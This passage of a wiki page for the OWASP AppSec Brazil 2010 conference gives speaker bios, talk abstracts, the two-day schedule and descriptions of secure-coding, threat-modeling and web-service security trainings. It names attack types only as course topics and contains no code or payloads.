Christophe has extensive experience in penetration tests on web application and network infrastructure. He has a background testing a large range of applications, from traditional client/server applications to web applications and web services. In addition to his information security experience,  Christophe has experience developing software and web applications. Christophe also has an interest in reverse code engineering for malware analysis and vulnerability research. He as taught post-­-graduate level university course in the field of web application security testing.&lt;br /&gt;
&lt;br /&gt;
==Mauro Risonho de Paula Assumpção==&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''The Tao of Hacking - Detecting Vulnerabilities in Web based Network Devices'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
This talks relates to the design flaws and vulnerabilities in various network peripheral devices&lt;br /&gt;
used for security which are having web interfaces. We will be talking about some of the&lt;br /&gt;
vulnerabilities that we have discovered while pen testing these devices. Further , this talk also&lt;br /&gt;
lays emphasis on collecting information about internal networks from the network devices like&lt;br /&gt;
load balancers, firewalls, disk stations, proxies, surveillance cameras etc. The aim is to gather&lt;br /&gt;
maximum infomation from these devices and using that information to test the security of these&lt;br /&gt;
devices and detecting vulnerabilities in them. This talk is pure conceptual and technical talk&lt;br /&gt;
designed in an easy way to share information among masses.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Mr. Mauro Assumpção Cheshire Paula aka firebits is a security researcher and lecturer at security conferences. He is working as director of NSEC Security Systems, an organization that provides consulting services for security and penetration testing. He has performed numerous safety tests and development projects for organizations such as Intel, Google, Microsiga, Avon, CMS Energy, Unilever, Rhodia, Tostines, Degussa, Niplan and others. He is founder and &amp;quot;Backtrack Brazil&amp;quot; and moderator and translator Backtrack USA.&lt;br /&gt;
&lt;br /&gt;
Aditya K Sood is a Security Researcher, consultant and PhD candidate in Computer Science Department at Michigan State University.He has worked in the security domain for Armorize, COSEINC and KPMG. He is a founder of SecNiche Security, an independent security research arena. He has been an active speaker at conferences like RSA (US 2010), TRISC, EuSecwest, XCON, Troopers, OWASP AppSec, FOSS, CERT-IN etc. He has writtencontent for HITB Ezine, Hakin9, Usenix Login, Elsevier Journals, De­bugged! MZ/PE.He has released number of advisories to forefront companies.Apart from his normal routine work he loves to do lot of web based research and designing cutting edge attack vector.&lt;br /&gt;
&lt;br /&gt;
==== Schedule ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;'''&amp;lt;span style=&amp;quot;color: rgb(255, 0, 0)&amp;quot;&amp;gt; Note: this schedule is tentative and subject to change. &amp;lt;/span&amp;gt;''' &amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conference Program - Day 1 - November 18th 2010  ==&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{| width=&amp;quot;80%&amp;quot; class=&amp;quot;t&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 08:30 - 09:00 &lt;br /&gt;
| bgcolor=&amp;quot;#8595c2&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Reception Desk Open'''&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 09:00 - 09:30 &lt;br /&gt;
| bgcolor=&amp;quot;#b9c2dc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Opening Ceremony'''&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;49&amp;quot; align=&amp;quot;right&amp;quot; | 09:30 - 10:20 &lt;br /&gt;
| bgcolor=&amp;quot;#eeeeee&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Dinis Cruz'''&amp;lt;br&amp;gt; About OWASP&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 10:20 - 10:40 &lt;br /&gt;
| bgcolor=&amp;quot;#d98b66&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Break'''&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;49&amp;quot; align=&amp;quot;right&amp;quot; | 10:40 - 11:40 &lt;br /&gt;
| bgcolor=&amp;quot;#b9c2dc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Robert 'RSnake' Hansen'''&amp;lt;br&amp;gt; The Humble Cookie&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;49&amp;quot; align=&amp;quot;right&amp;quot; | 11:40 - 12:30 &lt;br /&gt;
| bgcolor=&amp;quot;#eeeeee&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Cassio Goldschmidt'''&amp;lt;br&amp;gt; Responsibility for the Harm and Risk of Software Security Flaws&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 12:30 - 14:30 &lt;br /&gt;
| bgcolor=&amp;quot;#d98b66&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Lunch Break'''&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;47&amp;quot; align=&amp;quot;right&amp;quot; | 14:30 - 15:20 &lt;br /&gt;
| bgcolor=&amp;quot;#b9c2dc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Chris Hofmann'''&amp;lt;br&amp;gt; TBD&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;32&amp;quot; align=&amp;quot;right&amp;quot; | 15:20 - 16:10 &lt;br /&gt;
| bgcolor=&amp;quot;#eeeeee&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Mano Paul'''&amp;lt;br&amp;gt; Wild Wild Wild Security Planet&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 16:10 - 16:30 &lt;br /&gt;
| bgcolor=&amp;quot;#d98b66&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Break'''&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;47&amp;quot; align=&amp;quot;right&amp;quot; | 16:30 - 17:20 &lt;br /&gt;
| bgcolor=&amp;quot;#b9c2dc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Tony Rodrigues''' &amp;lt;br&amp;gt; Tony’s Top 10 Application Artifacts: A Computer Forensics Approach to OWASP Top 10&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;32&amp;quot; align=&amp;quot;right&amp;quot; | 17:20 - 18:10 &lt;br /&gt;
| bgcolor=&amp;quot;#eeeeee&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Amichai Shulman&amp;lt;br&amp;gt;''' Business Logic Attacks – BATs and BLBs&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;47&amp;quot; align=&amp;quot;right&amp;quot; | 18:10 - 19:00 &lt;br /&gt;
| bgcolor=&amp;quot;#b9c2dc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Gabriel Quadros''' &amp;lt;br&amp;gt; Taint Analysis of JavaScript Code to Detect Web Application Vulnerabilities&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 19:00&lt;br /&gt;
| bgcolor=&amp;quot;#cccccc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''End of the First Day'''&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conference Program - Day 2 - November 19th 2010 ==&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{| width=&amp;quot;80%&amp;quot; class=&amp;quot;t&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 08:30 - 09:00 &lt;br /&gt;
| bgcolor=&amp;quot;#8595c2&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Reception Desk Open'''&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;32&amp;quot; align=&amp;quot;right&amp;quot; | 09:00 - 10:00 &lt;br /&gt;
| bgcolor=&amp;quot;#b9c2dc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Jeremiah Grossman'''&amp;lt;br&amp;gt; TBD&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;47&amp;quot; align=&amp;quot;right&amp;quot; | 10:00 - 10:50 &lt;br /&gt;
| bgcolor=&amp;quot;#eeeeee&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Henrich Christopher Pöhls'''&amp;lt;br&amp;gt; The State of XML Digital Signatures --- How to Avoid Technical Pitfalls and Harvest the Power of Newer Signature Schemes&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 10:50 - 11:10 &lt;br /&gt;
| bgcolor=&amp;quot;#d98b66&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Break'''&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;47&amp;quot; align=&amp;quot;right&amp;quot; | 11:10 - 12:00 &lt;br /&gt;
| bgcolor=&amp;quot;#eeeeee&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Rodrigo Montoro'''&amp;lt;br&amp;gt; Web Application First Aid - Virtual Patching with ModSecurity&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;32&amp;quot; align=&amp;quot;right&amp;quot; | 12:00 - 12:30 &lt;br /&gt;
| bgcolor=&amp;quot;#b9c2dc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Cel. Antonio Carlos Menna Barreto Monclaro'''&amp;lt;br&amp;gt; Presentation of Renasic - National Network for Information Security and Cryptography&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 12:30 - 14:30 &lt;br /&gt;
| bgcolor=&amp;quot;#d98b66&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Lunch Break'''&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;32&amp;quot; align=&amp;quot;right&amp;quot; | 14:30 - 15:20 &lt;br /&gt;
| bgcolor=&amp;quot;#eeeeee&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Samy Kamkar'''&amp;lt;br&amp;gt; How I met your girlfriend&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;32&amp;quot; align=&amp;quot;right&amp;quot; | 15:20 - 16:10 &lt;br /&gt;
| bgcolor=&amp;quot;#b9c2dc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Christophe De La Fuente'''&amp;lt;br&amp;gt; Testing and Fuzzing FLEX: More fun with RIA&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;32&amp;quot; align=&amp;quot;right&amp;quot; | 16:10 - 17:00 &lt;br /&gt;
| bgcolor=&amp;quot;#eeeeee&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Bian Contos'''&amp;lt;br&amp;gt; Exploring Three Modern Attack Vectors: Insiders, Industrialized and APTs&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 17:00 - 17:20&lt;br /&gt;
| bgcolor=&amp;quot;#d98b66&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Break'''&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;32&amp;quot; align=&amp;quot;right&amp;quot; | 17:20 - 18:10&lt;br /&gt;
| bgcolor=&amp;quot;#b9c2dc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Mauro Risonho de Paula Assumpção'''&amp;lt;br&amp;gt; The Tao of Hacking - Detecting Vulnerabilities in Web based Network Devices&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;32&amp;quot; align=&amp;quot;right&amp;quot; | 18:10 - 18:50 &lt;br /&gt;
| bgcolor=&amp;quot;#eeeeee&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Dinis Cruz'''&amp;lt;br&amp;gt; OWASP O2 Project&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 18:50 - 19:00 &lt;br /&gt;
| bgcolor=&amp;quot;#cccccc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Closing Ceremony'''&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Trainings ====&lt;br /&gt;
&lt;br /&gt;
[[Image:Aspect logo.png]] &lt;br /&gt;
&lt;br /&gt;
=== '''Secure Coding for J2EE Applications''' ===&lt;br /&gt;
&lt;br /&gt;
[[Image:Jasonli appsecBR2010.jpg|frame]] '''Date and time: November 16th and 17th'''&amp;lt;br&amp;gt; '''Instructor: Jason Li'''&amp;lt;br&amp;gt; '''Summary'''&amp;lt;br&amp;gt; Training developers on secure coding practices offers one of the highest returns on investment of any security investment by eliminating vulnerabilities at the source. Aspect’s Java EE Secure Coding Training raises developer awareness of application security issues and provides examples of ‘what to do’ and ‘what not to do.' The class is lead by an experienced developer and is delivered in a very interactive manner. This class includes hands-on exercises where the students get to perform security analysis and testing on a live Java EE web application. This specially designed environment includes deliberate flaws the students have to find, diagnose, and fix. The class also uses Java EE coding exercises to provide students with realistic hands-on secure coding experience. Students gain hands-on experience using freely available web application security test tools to find and diagnose flaws and learn to avoid them in their own code.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''Audience'''&amp;lt;br&amp;gt; The intended audience for this course is intended for Java EE software developers and Java EE software testers who know how to program.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''Learning Objectives'''&amp;lt;br&amp;gt; At the highest level, the objective for this course is to ensure that developers are capable of designing, building, and testing secure Java EE applications and understand why this is important.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''Topics'''&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
*'''HTTP Fundamentals'''&amp;lt;br&amp;gt; &lt;br /&gt;
**Understand and be able to employ the security features involved with using HTTP (e.g., headers, cookies, SSL)&amp;lt;br&amp;gt; &lt;br /&gt;
*'''Design Principles and Patterns'''&amp;lt;br&amp;gt; &lt;br /&gt;
**Understand and be able to apply application security design principles.&amp;lt;br&amp;gt; &lt;br /&gt;
*'''Threats'''&amp;lt;br&amp;gt; &lt;br /&gt;
**Be able to identify and explain common web application security threats (e.g. , cross-site scripting, SQL injection, denial of service attacks, &amp;quot;Man-in-the-middle&amp;quot; attacks, etc.) and implement mitigation techniques.&amp;lt;br&amp;gt; &lt;br /&gt;
*'''Authentication and Session Management'''&amp;lt;br&amp;gt; &lt;br /&gt;
**Be able to handle credentials securely while providing the full range of authentication support functions, including login, change password, forgot password, remember password, logout, reauthentication, and timeouts.&amp;lt;br&amp;gt; &lt;br /&gt;
*'''Access Control'''&amp;lt;br&amp;gt; &lt;br /&gt;
**Be able to implement access control rules for the user interface, business logic, and data layers.&amp;lt;br&amp;gt; &lt;br /&gt;
*'''Input Validation'''&amp;lt;br&amp;gt; &lt;br /&gt;
**Be able to recognize potential input validation issues, particularly injection and Cross-site Scripting (XSS) problems, and implement appropriate input validation mechanisms for user input and other sources of input.&amp;lt;br&amp;gt; &lt;br /&gt;
*'''Command Injection'''&amp;lt;br&amp;gt; &lt;br /&gt;
**Understand the dangers of command injection and techniques for avoiding the introduction of this type vulnerability.&amp;lt;br&amp;gt; &lt;br /&gt;
*'''Error Handling'''&amp;lt;br&amp;gt; &lt;br /&gt;
**Be able to implement a consistent error (exception) handling and logging approach for an entire web application.&amp;lt;br&amp;gt; &lt;br /&gt;
*'''Cryptography'''&amp;lt;br&amp;gt; &lt;br /&gt;
**Learn when to apply cryptographic techniques and be able to choose algorithms and use encryption/decryption and hash functions securely.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Jason’s Bio'''&amp;lt;br&amp;gt; Jason is a remarkable trainer, mastering five different training courses within a year’s time to our most valuable longstanding but diverse clients. The client base included a large financial institution, several leading shipping and logistics Management Company, and a leading Government systems integrator.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Jason has also taught Advanced Web Application Security Testing and Building Secure Web Applications classes at OWASP 2008 conferences in Belgium and India.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Common remarks returned from Jason’s class evaluations include '''“This is probably one of the most important classes I‘ve been exposed to here”''' and '''“One of the best instructors I’ve ever had. Really knowledgeable of the subject. Kept class interested by sharing real life examples that depicted good scenarios”'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using the OWASP ESAPI security API to provide security to web applications ==&lt;br /&gt;
&lt;br /&gt;
'''&amp;lt;span style=&amp;quot;color: rgb(255, 0, 0);&amp;quot;&amp;gt; Tutorial in Portuguese. &amp;lt;/span&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
'''Date and time: November 16th (9AM to 6PM)'''&amp;lt;br&amp;gt; '''Instructor: Tarcizio Vieira Neto'''&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
The evolution of technology in the development of web applications has contributed to a significant increase in the use of this technology to meet the most diverse purposes. However, this technology is subject to critical security vulnerabilities, especially when recent research show that most vulnerabilities are present in the application itself. OWASP's ESAPI library (Enterprise Security API) appears in this scenario as an open source security library available for several languages such as Java EE, PHP,. NET, Classic ASP, Python, Ruby, among others. This short course addresses the vulnerabilities caused by common errors in applications development and security control mechanisms provided by ESAPI with focus on Java technology. The general principles learned in the course can be applied in the context of other programming languages.&lt;br /&gt;
&lt;br /&gt;
'''Target audience'''&lt;br /&gt;
&lt;br /&gt;
The desired profile of the audience are people connected to the area of web application development and security, having as a basic pre-requisite knowledge in web technologies, communication protocols HTTP and HTTPS, basic principles of security: encryption, hashing and digital signature, Java programming for Web systems.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Learning objectives'''&lt;br /&gt;
&lt;br /&gt;
* Know the main security vulnerabilities commonly found in Web applications&lt;br /&gt;
* Present the architecture of the ESAPI library and the operation of its modules with examples in Java.&lt;br /&gt;
* Present Web Application Firewall component of ESAPI.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tópic'''&lt;br /&gt;
&lt;br /&gt;
# Introduction&lt;br /&gt;
# # Myths related to security in Web applications&lt;br /&gt;
# # OWASP Project&lt;br /&gt;
# OWASP Top 10&lt;br /&gt;
# OWASP ESAPI Library&lt;br /&gt;
# # Validation and Encoding Module&lt;br /&gt;
# # Authentication Module&lt;br /&gt;
# # Access Control Module&lt;br /&gt;
# # HTTP Utilities Module&lt;br /&gt;
# # Access references module&lt;br /&gt;
# # Cryptographic Module&lt;br /&gt;
# # Log Module&lt;br /&gt;
# # Intrusion Detection Module&lt;br /&gt;
# # integrating the AppSensor module with ESAPI&lt;br /&gt;
# # Using Filters&lt;br /&gt;
# # Configuring ESAPI&lt;br /&gt;
# # Web Application Firewall Module&lt;br /&gt;
# Benefits of Using ESAPI&lt;br /&gt;
# Conclusions&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
Tarcízio Vieira Neto has a degree in Computer Science from Universidade Federal de Goiás (UFG), in Goiania. He began his career as an intern developer on a project of technology initiation funded by CNPq in the company Estratégia, in Goiania. After graduating he worked for six months at the company Fibonacci Soluções Ágeis in the same city, as a development analyst. Then worked for two years and eight months as a Brazilian Air Force officer as a systems analyst in the Air Force Computer Center in Brasilia, where he gained experience with the technologies of digital certification and collaborated in the development of an enterprise  electronic document management system.&lt;br /&gt;
&lt;br /&gt;
Currently working at SERPRO since November 2009 as an Analyst in CETEC, working on software development security, dedicated primarily in writing guidelines that standardize techniques and tools tho support security in Web applications development&lt;br /&gt;
&lt;br /&gt;
He is attending a specialization course in Information Security from University of Brasília (UnB) and has altogether more than five years of programming experience in Java.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==The Art and Science of Threat Modeling Web Applications==&lt;br /&gt;
[[Image:Mano_Paul.jpg|thumb|10px|frame|right|Mano Paul]]&lt;br /&gt;
'''&amp;lt;span style=&amp;quot;color: rgb(255, 0, 0);&amp;quot;&amp;gt; This tutorial is in English without translation. &amp;lt;/span&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
'''Date and Time: November 17 (9AM to 6PM)'''&amp;lt;br&amp;gt; '''Instructor: Mano Paul'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
To secure your home, you will first need to know how the thief could possibly enter and exit and where you should store your valuables. The same is true of your web applications. Unless you know what the vulnerabilities and threats of your web applications are, and what security measures you should take to protect them, ev1L h@x0rS or the enemy within (insider) could take advantage of the vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
Threat Modeling is a technique that you can use to identify ATVS (attacks, threats, vulnerabilities and safeguards) that could affect your web applications. Threat Modeling helps in designing your application securely from a confidentiality, integrity, availability, authentication, authorization and auditing perspective. It is an essential activity to be undertaken during the design stage of your SDLC and helps mitigate and minimize overall risk. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Target audience'''&lt;br /&gt;
&lt;br /&gt;
The target audience is made of technical staff and management of system development organizations, with no required knowledge of languages or specific programming techniques.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Learning Objectives'''&lt;br /&gt;
&lt;br /&gt;
# Understand Threat Modeling; when to threat model and when not too&lt;br /&gt;
# Translation of threats to risks for the organization&lt;br /&gt;
# Have fun learning complex concepts with exercises and interactive games&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Topic'''&lt;br /&gt;
&lt;br /&gt;
# Introduction &lt;br /&gt;
# Why Threat Model? &lt;br /&gt;
# Is Threat Modeling Right for You? &lt;br /&gt;
# Challenges &lt;br /&gt;
# Precursors &lt;br /&gt;
# Data Classification and Threat Modeling &lt;br /&gt;
# Web Application Security Mechanisms &lt;br /&gt;
# Benefits of Threat Modeling &lt;br /&gt;
# Common Glossary of Terms &lt;br /&gt;
# Threat Agents &lt;br /&gt;
# OWASP Top 10 and common application attacks&lt;br /&gt;
# Threat Modeling Process &lt;br /&gt;
# Attack Trees &lt;br /&gt;
# Threat and Risk Frameworks e.g., STRIDE and DREAD &lt;br /&gt;
# Threat to Risk translation&lt;br /&gt;
# Threat Modeling (&amp;lt;span style=&amp;quot;color: rgb(255, 0, 0);&amp;quot;&amp;gt;Hands-On Exercise&amp;lt;/span&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
Manoranjan (Mano) Paul is the Software Assurance Advisor for (ISC)2. His information security and software assurance experience includes designing and developing security programs from compliance-to-coding, security in the SDLC, writing secure code, risk management, security strategy, and security awareness training and education. He founded and serves as the CEO &amp;amp; President of Express Certifications. He also founded SecuRisk Solutions, a company that specializes in security product development and consulting.&lt;br /&gt;
&lt;br /&gt;
== Security in Service-oriented architectures ==&lt;br /&gt;
&lt;br /&gt;
'''&amp;lt;span style=&amp;quot;color: rgb(255, 0, 0);&amp;quot;&amp;gt; Tutorial in Portuguese. &amp;lt;/span&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
'''Date and time: Nov 17 (9AM to 6PM)'''&amp;lt;br&amp;gt; '''Instructors: Douglas Rodrigues, Julio Cesar Estrella e Nuno Manuel dos Santos Antunes'''&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
Web services are the cornerstone of Service-Oriented Architectures (SOA). As critical components of business, Web services must provide high security. However, the deployment of secure Web services is a complex task. In fact, several studies show that a large number of Web Services are deployed with security breaches ranging from code vulnerabilities (eg vulnerabilities that allow code injection, including SQL injection and XPath injection) to the incorrect use of standards and security protocols. The aim of this short course is to present the theoretical and practical tools that allow the detection of vulnerabilities and security protocols and mechanisms against attacks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Público Alvo'''&lt;br /&gt;
&lt;br /&gt;
The target audience is composed of technical staff and operational systems development organizations with requirements for knowledge of languages and programming methodologies at the intermediate level.&lt;br /&gt;
&lt;br /&gt;
'''Learning Objectives'''&lt;br /&gt;
&lt;br /&gt;
The proposed short course contributes to add new technological trends. The theme is quite interesting in relation to the great challenges of research in computing, since it fits naturally within the technological development of quality, encompassing making systems available, accurate, secure, scalable, persistent and ubiquitous, and notoriously, observing the conference area, which SOA, Web services and security are the subject of growing research in computing, as it is current and of interest to the academic community, as well as professionals who work in the labor market. The interest in SOA has grown in recent years because it is an approach that helps the system to remain flexible and scalable as they grow, and can also help to resolve the gap business / IT. Students and professionals will have the opportunity to understand the basics of vulnerability detection code level and also to detect attacks between protocols and mechanisms. The idea is that participants can use the knowledge gained in this brief short course for the development of distributed applications using Web services secure and obtain knowledge needed to diagnose and prevent attacks on this type of application.&lt;br /&gt;
&lt;br /&gt;
'''Topics'''&lt;br /&gt;
&lt;br /&gt;
#SECURITY STANDARDS AND PROTOCOLS FOR WEB SERVICES&lt;br /&gt;
#ATTACKS IN WEB SERVICES&lt;br /&gt;
## Denial of Service Attacks&lt;br /&gt;
## Attacks Brute Force&lt;br /&gt;
## Spoofing Attacks&lt;br /&gt;
## Flooding Attacks&lt;br /&gt;
## Injection Attacks&lt;br /&gt;
#EVALUATING SECURITY IN WEB SERVICES&lt;br /&gt;
## Case Study on security in Web Services&lt;br /&gt;
## &amp;quot;white box&amp;quot; analysis&lt;br /&gt;
## &amp;quot;Black-box&amp;quot; testing&lt;br /&gt;
## &amp;quot;Gray-box&amp;quot; testing&lt;br /&gt;
## Case study on the effectiveness of tools for security assessment&lt;br /&gt;
&lt;br /&gt;
'''Instructors'''&lt;br /&gt;
&lt;br /&gt;
Julio Cesar Estrella - Master in Computer Science and Computational Mathematics, in the area of Distributed Systems (Institute of Mathematical Sciences and Computer ICMC / University of São Paulo - USP). During the Masters, worked with simulated queuing network in a project related to the development of negotiation techniques in models of web servers with service differentiation. Ph.D. in Computer Science and Computational Mathematics (Institute of Mathematical Sciences and Computer ICMC / University of São Paulo - USP). The theme of his doctoral thesis was about service-oriented architectures to support QoS and characterization of workloads for Web Services Composition and Service also supports Quality of Service. He is currently a professor at the Federal Technological University of Paraná (UTFPR - Campo Mourão)&lt;br /&gt;
&lt;br /&gt;
Douglas Rodrigues - Master in Computer Science and Computational Mathematics from Institute of Mathematics and Computer Science, University of São Paulo - ICMC-USP/São Carlos. Bachelor of Computer Science from University Euripides Marília - Univ - Marília / SP. Works on the following subjects: SOA, Web Services, performance evaluation, encryption and security.&lt;br /&gt;
&lt;br /&gt;
Nuno dos Santos Antunes - attended from 2003 to 2007, the Computer Engineering program, University of Coimbra. Since 2008, carries out scientific research in the group of Software and Systems Engineering (SSE) Center for Informatics and Systems University of Coimbra (CISUC), on topics related to methodologies and tools for developing Web Services without vulnerabilities. Concluded in 2009 a Masters in Computer Engineering from the Department of Computer Engineering, University of Coimbra, with the final rating of Very Good. In 2009 he began his PhD in Sciences and Information Technology. He published five scientific papers in conferences with the process of rigorous peer review, including articles in the most prestigious conferences in the areas of reliability and services.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Black-Box &amp;amp; White-Box ASP.NET Security Reviews using the OWASP O2 Platform==&lt;br /&gt;
&lt;br /&gt;
'''&amp;lt;span style=&amp;quot;color: rgb(255, 0, 0);&amp;quot;&amp;gt; Thsi tutorial will be in Portuguese with materials in English &amp;lt;/span&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
'''Date and time: November 16th (9AM to 6 PM)'''&amp;lt;br&amp;gt; '''Instructor: Dinis Cruz'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
This is a hands-on Training course on how to use the OWASP O2 Platform to perform both Black-Box and White-Box security reviews on ASP.NET Web Applications&lt;br /&gt;
&lt;br /&gt;
The course is designed for security consultants/developers who are responsible for performing Penetration Tests or Security Code Reviews. The course will show practical examples of how to use the OWASP O2 Platform to find, exploit and document security vulnerabities.&lt;br /&gt;
&lt;br /&gt;
For the course's labs, a number of test and real-world applications/frameworks will be used. In order to give the students a benign test enviroment which is easy to replicate, the (vulnerable-by-design) HacmeBank ASP.NET banking application will be used throughout the course.&lt;br /&gt;
&lt;br /&gt;
'''Topics'''&lt;br /&gt;
&lt;br /&gt;
* What is the OWASP O2 Platform and how to use it?&lt;br /&gt;
* Using O2's Unit Tests for web exploration and browsing&lt;br /&gt;
* Using O2's Unit Tests for web exploitation&lt;br /&gt;
* Understanding and using O2's Web Automation Tools to find and exploit vulnerabilities in HacmeBank (Black-Box)&lt;br /&gt;
